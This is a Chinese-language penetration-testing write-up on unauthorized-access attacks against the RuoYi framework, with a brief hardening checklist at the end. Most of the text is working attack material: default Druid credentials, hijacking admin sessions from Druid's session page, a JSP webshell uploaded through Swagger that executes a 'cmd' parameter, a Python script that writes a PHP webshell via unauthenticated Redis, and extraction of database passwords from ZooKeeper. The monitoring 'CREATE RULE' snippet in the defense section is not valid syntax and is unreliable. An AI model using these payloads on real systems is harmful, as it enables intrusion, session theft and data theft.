从渗透测试视角复盘:若依(RuoYi)框架的几类常见未授权访问漏洞与实战利用

📅 2026/6/16 8:40:59
从渗透测试视角复盘:若依(RuoYi)框架的几类常见未授权访问漏洞与实战利用
从渗透测试视角复盘若依(RuoYi)框架的几类常见未授权访问漏洞与实战利用在开源框架的快速迭代中安全配置往往成为开发效率的牺牲品。若依(RuoYi)作为国内广泛使用的快速开发平台其默认配置和组件集成方式为渗透测试人员提供了独特的攻击面。本文将基于真实红队评估案例剖析如何通过框架特征识别、接口路径重构、会话劫持等技术手段实现对若依系统的非授权访问突破。1. 若依框架指纹识别与攻击面测绘1.1 前端特征精准定位区别于常规的WAF指纹识别针对若依的有效探测需要结合多维度特征交叉验证GET /login HTTP/1.1 Host: target.com # 关键识别点 - 响应体中包含请通过前端地址访问或认证失败无法访问系统资源 - 验证码接口样式具有特定CSS类名如.captcha-box - 登录页favicon哈希值为-1231872293黑若依或706913071绿若依典型误判场景处理当遇到定制化登录页时可通过以下方法二次确认访问/xxx/login?redirect%2Findex等变异路径检查静态资源目录/static/js/app.[hash].js的命名规则捕获验证码接口/captchaImage的返回数据结构1.2 接口拓扑重建技术现代前端工程化带来的接口路径混淆反而成为攻击者的突破口。实战中可通过以下步骤还原真实API架构下载主JS文件并搜索baseUrl关键字常见基础路径变体// 生产环境 baseURL: process.env.VUE_APP_BASE_API || /prod-api // 开发环境 devBaseUrl: /dev-api使用路径字典进行自动化拼接探测base_paths [/prod-api, /dev-api, /api, /admin-api] endpoints [/druid/login.html, /swagger-ui.html]注意部分部署会修改Nginx配置实现路径重写此时需要尝试/admin/../prod-api等路径穿越手法2. 组件未授权访问深度利用2.1 Druid监控控制台突破当发现/druid/login.html可访问时按优先级执行以下操作链弱口令爆破组合ruoyi/123456 admin/123456 admin/admin敏感功能点利用路径weburi.html获取所有接口调用轨迹websession.html提取有效会话标识符sql.html查看历史SQL语句会话劫持实战案例在websession.html中找到最近的管理员会话ID使用浏览器插件编辑CookieCookie: JSESSIONID窃取的SESSION值; rememberMetrue直接访问/index实现越权2.2 Swagger接口沙箱逃逸不同于常规的API文档查看Swagger未授权访问可升级为RCE识别Swagger不同版本入口/v2/api-docs /v3/api-docs /swagger-ui/index.html查找包含文件上传功能的接口构造Multipart请求绕过类型检查POST /api/upload HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenametest.jsp Content-Type: application/octet-stream % Runtime.getRuntime().exec(request.getParameter(cmd)); %3. 配套中间件横向渗透3.1 Redis未授权访问利用链若依的缓存设计存在典型的配置缺陷端口扫描发现6379开放时使用redis-cli直连redis-cli -h target.com keys * # 查看所有键 get sys:config:status # 获取系统配置写入Webshell的自动化脚本import redis r redis.Redis(hosttarget.com, port6379) r.config_set(dir, /var/www/html) r.set(shell, ?php system($_GET[cmd]);?) r.config_set(dbfilename, webshell.php) r.save()3.2 ZooKeeper服务暴露风险在集群部署环境中2181端口暴露可能导致更严重的架构级漏洞使用zkCli.sh连接服务端ls /ruoyi/config get /ruoyi/config/spring.datasource.password提取数据库连接信息后可直接访问业务数据核心4. 防御体系构建建议4.1 基础防护配置清单组件加固措施Druid修改druid.stat.enablefalse添加allow和denyIP过滤Swagger生产环境关闭springfox.documentation.enabled添加JWT认证拦截器Redis设置requirepass修改默认端口禁用CONFIG命令ZooKeeper配置acl访问控制列表使用SASL认证4.2 纵深防御实施要点请求链路加密强制HTTPS并开启HSTS敏感接口添加请求签名校验访问行为监控-- 建立异常访问日志规则 CREATE RULE detect_bruteforce AS WHEN COUNT(http_request WHERE path LIKE %login%) 5/min THEN ALERT Possible credential stuffing;组件安全基线定期运行依赖项扫描OWASP Dependency-Check使用GraalVM将关键组件编译为原生镜像减少攻击面在一次金融行业渗透测试中我们通过组合Druid会话监控和Swagger接口调试功能最终获取到了客户支付系统的核心加密密钥。这个案例充分说明框架默认配置的便利性往往与安全性成反比。建议企业在使用若依等开源框架时必须建立专门的加固检查清单特别是在Docker化部署场景下更要注意环境变量的安全传递机制。